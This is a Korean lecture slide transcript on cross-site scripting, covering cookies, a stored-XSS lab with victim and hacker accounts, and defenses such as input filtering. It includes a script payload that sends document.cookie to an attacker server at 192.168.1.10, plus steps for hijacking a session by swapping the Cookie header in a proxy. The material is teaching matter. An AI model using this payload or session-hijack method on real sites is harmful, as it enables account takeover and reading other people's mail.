5장 XSS(cross site script)

Slides:



Advertisements
Similar presentations
임직원 APP 설치 가이드 경영전략처 정보기획 TF 팀. 임직원 App- 운영체제 구분  안드로이드 갤럭시, 갤럭시노트, 갤럭시 S4 [ 삼성전자 ] 옵티머스 [LG 전자 ] 베가 [ 팬텍 모토로이 [ 모토롤라 ]  ios 아이폰 [ 애플.
Advertisements

아이튠즈 계정 생성. 1. 인터넷을 통해 설치한 아이튠즈를 실행 한 후 그림의 순서대로 선택을 합니다. 1 2.
목차 Contents 무선인터넷용 비밀번호 설정방법 Windows 7 Windows 8 Windows XP MAC OS.
스마트워크(가상화) 외부 접속 방법 정보관리실.
컴퓨터프로그래밍 1주차실습자료 Visual Studio 2005 사용법 익히기.
김태원 심재일 김상래 강신택. 김태원 심재일 김상래 강신택 인터넷 통신망의 정보를 제공하는 서비스 인터넷의 자원 및 정보는 NIC가 관리 IP주소 또는 도메인으로 정보 검색 이용자 및 통신망 관한 정보를 제공.
1. 신뢰할 수 있는 싸이트 등록 인터넷 익스플로러 실행 후 실행
SQL Injection Member 최병희, 김상우, 조용준, 유창열.
코크파트너 설치 가이드 Window 7.
SSL - VPN 사용자 가이드 - IT 지원실 네트워크 운영팀 -.
업체등록신청절차 목차 메인화면 메세지별 유형 2-1. 이미 가입된 공급업체
네트워크 프로그래밍 및 실습.
Windows 8 Ksystem G&I 설치.
무들(moodle) 온라인 교육지원 시스템 학생 매뉴얼
4장. 웹로직 서버상에서의 JDBC와 JTA의 운용
홍익대학교 메일 시스템 구축 Outlook 설정 매뉴얼.
8장. 원격지 시스템 관리하기.
11장. 포인터 01_ 포인터의 기본 02_ 포인터와 Const.
FTP 프로그램 채계화 박재은 박수민.
                              데이터베이스 프로그래밍 (소프트웨어 개발 트랙)                               퍼스널 오라클 9i 인스톨.
학습목표 학습목차 다른 홈페이지의 HTML 파일 코드를 보는 방법에 대해 알아봅니다.
ASP.NET AJAX 비동기 게시판 작성 2007 컴퓨터공학실험( I )
Slice&link.
1. SSLVPN 접속 방법 Internet Explorer 실행(타 브라우저 사용 불가)
공인인증서 신청 및 발급 제일 먼저 은행에 직접 방문하여 인터넷뱅킹 신청.
UpToDate® Anywhere(UTDA)
2015학년도 PHP 기말 레포트 로그인 홈페이지 제작.
홀인원2.0 설치 메뉴얼.
1. SSLVPN 접속 방법 Internet Explorer 실행(타 브라우저 사용 불가)
2018년 11월 05일 박성진 Web & Internet [08] 레이아웃 P1 2018년 11월 05일 박성진
HTTP 프로토콜의 요청과 응답 동작을 이해한다. 서블릿 및 JSP 를 알아보고 역할을 이해한다.
Wi-Fi 취약점 분석 본 프로젝트는 Wi-Fi 환경에서의 취약점 분석을 위한 프로젝트로 다양한 공격방법을 테스트
Adobe 제품 다운로드 및 설치 방법 안내 Adobe Creative Cloud Adobe License 권한을 받으신 분
뇌를 자극하는 Windows Server 장. 원격 접속 서버.
Nessus 4 설치 정보보호응용 조용준.
PC에 설치된 엔드포인트 클라이언트 프로그램을 클릭하여 프로그램 상자를 엽니다
8장 쿠키와 세션 한빛미디어(주).
ASP.NET AJAX / AJAX Control Toolkit 응용 2008 컴퓨터공학실험( I )
웹디자인
KERBEROS.
12장 쿠키와 세션 이장에서 배울 내용 : 쿠키와 세션은 웹 페이지 간에 정보를 유지할 때 사용된다. 쿠키와 세션은 사용되는 형태가 비슷하나, 쿠키는 웹 브라우저(클라이언트) 쪽에 저장되고, 세션은 웹 서버 쪽에 저장된다. 이 번장에서는 이들에 대해 학습한다.
※ 인터넷 옵션 조치 방법 ※ ★ 신뢰사이트 등록 (1) ★ 우리들을 신뢰해주세요^^* 방법이 복잡해 보일지 모르지만
※ 편리한 사이버 연수원 사용을 위한 인터넷 최적화 안내 ※
14강. 세션 세션이란? 세션 문법 Lecturer Kim Myoung-Ho Nickname 블스
화상대화 매뉴얼 한국지역정보개발원.
WZC 무선 연결 방법 (Windows 7 Ver.).
1. 신규 연세메일(Gmail)에 로그인 합니다. ( yonsei. ac. kr )
3장 JSP프로그래밍의 개요 이장에서 배울 내용 : JSP페이지의 기본적인 개요설명과 JSP페이지의 처리과정 그리고 웹 어플리케이션의 구조에 대해서 학습한다.
공인인증로그인 매뉴얼.
01. 분산 파일 시스템의 개요 네트워크에 분산된 파일을 사용자가 쉽게 접근하고 관리할 수 있게 해준다.
JSP Programming with a Workbook
업체등록신청절차 목차 메인화면 메세지별 유형 2-1. 이미 가입된 공급업체
Chapter 10 데이터 검색1.
세션에 대해 알아보고 HttpSession 에 대해 이해한다 세션 관리에 사용되는 요소들을 살펴본다
함수, 모듈.
1. 인터넷 보안 옵션 레지스트리 등록 Config Setup 클릭.
9 브라우저 객체 모델.
슬라이드 쇼의 설정 슬라이드 쇼의 실행 파일과 폴더의 관리 글꼴을 포함해서 저장 웹 페이지로 게시 압축 파일
공인인증로그인 매뉴얼.
IPC 펌웨어 업그레이드 방법 안내 ** 반드시 IPC를 NVR POE 포트 연결 전에 작업 하시기 바랍니다. IPC를 NVR POE 포트에 연결 하실 경우 IP 대역폭을 마추셔야 하는 작업이 필요합니다. **
UpToDate® Anywhere(UTDA)
FTP 스캔 설정 방법 강사 : 이성휘 대리.
CCIT 네트워크 발표 정보보호학과 평문 사이트와 SSL 사이트, SSL strip과 데이터 변조를 이용한 로그인 취약점
숙제 작성 및 제출 과정 김진하 2008/03/14.
이 프레젠테이션은 PowerPoint의 새로운 기능에 대해 안내하며, 슬라이드 쇼에서 가장 잘 보입니다
7 생성자 함수.
6 객체.
공인인증로그인 매뉴얼.
XSS 취약점을 이용한 웹메일 해킹
20 XMLHttpRequest.
Presentation transcript:

5장 XSS(cross site script)

1. XSS에 대한 이해 배경이야기 영희는 철수의 여자친구인데 요즘 들어 영희의 행동을 수상히 여긴 철수는 영희가 개똥이랑 좀 이상한 관계인 거 같다고 생각이 들어 영희 몰래 영희의 메일을 훔쳐보고 싶어 했다(당연히 불법이다). 철수는 철수의 절친한 친구인 아네군에게 XSS 공격을 이용하면 영희의 메일을 읽을 수 있다는 솔깃한 예기를 듣고 500원짜리 떡볶이를 아네군에게 사주면서 XSS 공격 방법을 익히게 된다.

1. XSS에 대한 이해 배경이야기 (계속) 드디어 XSS 공격 방법을 습득한 철수는 영희에게 메일을 보낸다. 메일에는 평범한 내용과  함께 악성 스크립트 코드를 숨겨서 보낸다. 영희는 아무런 의심을 하지 않고 철수한테 온 메일을 읽는다. 하지만 그 순간 숨겨서 보낸 악성 스크립트 코드는 영희의 쿠키 정보는 철수에게 넘긴다. 철수는 영희로부터 받은 쿠키 값을 가지고 간단한 조작을 통해서 영희의 메일을 읽을 수 있었다.

1. XSS에 대한 이해 XSS를 이용한 공격의 기본 원리

1. 쿠키 1. XSS에 대한 이해 1994년 넷츠케이프에 의해 처음 사용된 기술 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

1. XSS에 대한 이해: 쿠키가 사용되는 두 단계 사용자가 웹사이트에 방문하면 웹사이트는 사용자의 컴퓨터에 쿠키를 생성한다. 예) 사용자가 www.wishfree.com에 접속하면 www.wishfree.com 사이트는 사용자의 브라우저를 확인하는 ID 번호를 쿠키 파일에 넣어서 사용자의 컴퓨터에 저장한다. C:\Document and Settings\사용자이름\Cookies에서 실제 여러분이 인터넷을 이용하면서 생성되었던 쿠키들을 확인할 수 있다.

1. XSS에 대한 이해 사용자 컴퓨터에 저장된 쿠키 파일들 쿠키파일 형태: 사용자이름@접속한사이트 쿠키파일 내용: 저장한 사이트 도메인 이름, 구분 숫자 등

1. XSS에 대한 이해 쿠키가 사용되는 두 단계 2. 사용자가 웹 서버에 접속할 때 사용자 컴퓨터에 있는 쿠키를 웹 서버로 전송하는 단계다. 예) 전에 방문했던 사이트에 다시 접속하면 웹사이트는 사용자 컴퓨터에 저장된 쿠키를 통해 사용자의 여러 개인 정보를 수집할 수 있다. 아이디와 패스워드를 저장하여 사용한 경우에는 그 정보가 쿠키에 남아있기 때문에 또 다시 아이디와 패스워드를 입력하고 로그인하지 않아도 되는 편리성 및 위험성

1. XSS에 대한 이해 쿠키가 사용되는 몇 가지 용도 사이트 개인화 장바구니 시스템 웹 사이트 이용 방식 추적 타겟 마케팅

특정 웹 사이트가 저장한 쿠키를 다른 웹 사이트에서도 읽어 들일 수 있다? 1. XSS에 대한 이해 쿠키에 대한 오해들 쿠키가 바이러스를 전파한다? 쿠키는 사용자 컴퓨터에 피해를 입힌다? 특정 웹 사이트가 저장한 쿠키를 다른 웹 사이트에서도 읽어 들일 수 있다?

1. XSS에 대한 이해 XSS 공격을 통해 가져오는 주요 정보: 사용자가 웹 서버로 전송하는 사용자의 고유 쿠키 값 쿠키 내용은 웹 애플리케이션 개발자가 어떤 내용을 쿠키에 넣을지 정함. 일반적으로 기본적인 ASP와 PHP 같은 것은 ASPSESSIONID 값과 PHPSESSIONID 기본 값으로 쿠키 값을 암호화하여 처리 많은 곳의 웹 메일 애플리케이션과 같은 자체 제작된 웹 애플리케이션은 쿠키 값에 사용자의 비밀번호나 사용자의 중요 정보가 담겨있는 경우도 종종 있음.

XSS XSS란 ‘Cross Site Scripting’의 약자로 줄여서 CSS라고도 부르나 또 다른 이름인 캐스케이딩 스타일 시트(Cascading Style Sheets)와 혼동되어 일반적으로 XSS라고 불리게 되었다. XSS는 타 사용자의 정보를 추출하기 위해 사용되는 공격 기법이다. 간단히 예를 들면, 게시판이나 검색 부분, 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점이다.

XSS의 원리 정상적인 문자열을 입력할 때의 과정

XSS의 원리 스크립트 코드 문자열을 입력할 때의 과정

2. XSS를 통한 공격 방법 실제 XSS 공격을 통해 다른 사용자의 쿠키 값을 이용해 다른 사용자로 로그인 하는 과정

2. XSS를 통한 공격 방법 공격자가 XSS 코드를 게시판에 작성하는 화면

위 코드는 게시판을 열람 시에 사용자의 쿠키 정보가 해커의 웹 서버(192.168.1.10)로 전송하는 코드 이다. 2. XSS를 통한 공격 방법 공격자가 작성한 XSS 코드 <script>url="http://192.168.1.10/GetCookie.asp?cookie="+document.cookie;window.open(url,width=0, height=0);</script> 위 코드는 게시판을 열람 시에 사용자의 쿠키 정보가 해커의 웹 서버(192.168.1.10)로 전송하는 코드 이다.

2. XSS를 통한 공격 방법 사용자가 공격자가 작성한 글을 열람 시 공격자의 컴퓨터에 사용자의 쿠키 값이 전송된 화면

실습 – XSS 공격을 통한 다른 사용자로 로그인하기 1. 테스트하기 위한 계정 2개를 생성(victim과 hacker 계정 생성)

실습 – XSS 공격을 통한 다른 사용자로 로그인하기 2. hacker계정으로 로그인한다. 3. 게시판에 다음과 같은 내용으로 글을 작성한다.  <script>document.write(document.cookie)</script>

실습 – XSS 공격을 통한 다른 사용자로 로그인하기 4. 게시판에 글을 작성한 후 다시 victim 계정으로 로그인하자.

실습 – XSS 공격을 통한 다른 사용자로 로그인하기 5. 로그인한 victim으로 hacker가 작성한 글을 열람하면 다음과 같은 쿠키 값이 보인다.

실습 – XSS 공격을 통한 다른 사용자로 로그인하기 6. 쿠키 조작을 통한 사용자 변조 쿠키 값을 가지고 hacker 계정에서 victim 계정으로 로그인 해보자. 로그인 페이지를 열고 hacker 계정의 아이디와 패스워드를 입력해 놓자. 아직 로그인 버튼은 누르지 않는다.

실습 – XSS 공격을 통한 다른 사용자로 로그인하기 6. 쿠키 조작을 통한 사용자 변조 (계속) Paros를 실행한 후 클라이언트와 서버간의 모든 데이터를 가로채도록 설정한다. 그 후 ‘로그인’ 버튼을 누르면 다음 그림과 같이 클라이언트에서 서버로 HTTP 패킷을 전송하는 것을 확인할 수 있을 것이다.

실습 – XSS 공격을 통한 다른 사용자로 로그인하기 6. 쿠키 조작을 통한 사용자 변조 (계속) HTTP 헤더 중에서 ‘Cookie :’  부분을 위에 victim 쿠키의 값으로 변조해보자. 다음 그림은 ‘Cookie : ' 값을 victim의 값으로 변조한 화면이다(Paros에 해당 부분을 붙여넣으면 된다).

실습 – XSS 공격을 통한 다른 사용자로 로그인하기 6. 쿠키 조작을 통한 사용자 변조 (계속) 쿠키 값을 변경한 후 재 전송하면 다음 그림과 같이 victim의 계정으로 로그인 된 것을 볼 수 있다.

3. XSS에 대한 대응 방법 XSS 취약점은 대부분 웹 애플리케이션 개발자가 사용자 입력을 받아들이는 부분에서 사용자 입력에 대해 어떠한 검증도 이루어지지 않기 때문에 발생한다. 그럼 웹 애플리케이션 개발자나 사이트 관리자는 어떠한 방식으로 XSS 취약점에 대해 대응해야 할까?

중요한 정보는 쿠키에 저장하지 않아야 한다. 3. XSS에 대한 대응 방법 앞의 실습 예제에서와 같이 사용자를 식별하기 위해 쿠키에 패스워드와 같은 민감한 정보는 담지 않아야 한다. 2. 스크립트 코드에 사용되는 특수 문자에 대한 이해와 정확한 필터링해야 한다. 가장 효과적인 방법은 사용자가 입력 가능한 문자(예를 들어, 알파벳, 숫자, 및 몇 개의 특수문자)만을 정해 놓고 그 문자열이 아닌 경우는 모두 필터링한다. 이 방법은 추가적인 XSS 취약점에 사용되는 특수 문자를 애초부터 막을 수 있다는 장점이 있다.

XSS공격에 주로 사용되는 특수문자의 종류 특수문자 의미 < 태그의 시작 > 태그의 끝 & 캐릭터 entity 또는 CGI parameter의 구별자 “ 속성 값 ‘ space 속성 값, URL의 끝 tab URL의 끝 new line Non-ASCII iso-8859-1일때, 128을 넘어가는 2byte코드들 % HTTP escape sequence "안의 ! Server side script <script></script>안의 ;, (), {}, new line  

3. 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정한다. 3. XSS에 대한 대응 방법 (계속) 3. 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정한다. 최근에 만들어진 게시판들은 대부분 다양한 효과를 사용자들에게 제공하기 위해 HTML 태그 기능을 제공하고 있지만 꼭 필요한 경우가 아니라면 HTML 사용 기능을 불가능하게 해야 한다. 4. 스크립트 대체 및 무효화. javascript라고 들어오는 문자열을 무조건 ‘x-javascript’와 같이 대체를 하여 스크립트 실행을 무효화시키는 방법도 있다. 5. 주기적인 점검 자체적인 취약점 점검 및 보안 컨설팅 등 정기적이 점검을 통해 취약점을 수시로 확인 및 제거한다.

3. XSS에 대한 대응 방법 (계속) 일반 사용자들은 어떻게 대처해야 할까? 사실 일반 사용자: 일방적으로 XSS 취약점에 무방비로 노출되어 있다. 자신이 매일 들어가는 메일이나 자주 방문하는 동호회 게시판과 같은 곳에 누가 언제 어떻게 XSS 취약점을 이용하여 악성 스크립트 코드를 숨겨놓았을지 전혀 알 수 없기 때문이다. 그렇다면 일반 사용자가 좀더 안전한 인터넷 서핑을 위하여 XSS 취약점에 대해 대응할 수 있는 방안은 무엇인지 알아보자.

3. XSS에 대한 대응 방법 (계속) XSS에 대한 일반 사용자들의 대응 방안 우선 메일이나 링크가 있으면 링크를 바로 클릭하여 이동하지 말고 직접 URL에 주소를 입력하여 해당 사이트를 방문하는 방법이 있다. 이 방법은 어떻게 보면 상당히 불편한 방법이지만 URL 스푸핑이나 XSS 공격에 대응하는 방안 중 하나다. 2. 인터넷 익스플로러의 최신 패치를 적용하여 인터넷 익스플로러 자체의 취약점으로 인한 공격에 미리 대응해야 한다.

3. XSS에 대한 대응 방법 (계속) XSS에 대한 일반 사용자들의 대응 방안 3. 인터넷 옵션에서 개인정보 등급을 상향 조절하여 불필요한 쿠키 값을 전송시키지 않는 방법도 있다. 가장 보안 설정을 높이면 쿠키 값이 필요한 사이트에서 서비스를 사용하기 힘든 경우가 있기 때문에 보안 설정을 최상위로 높이는 것을 권고하지는 않는다.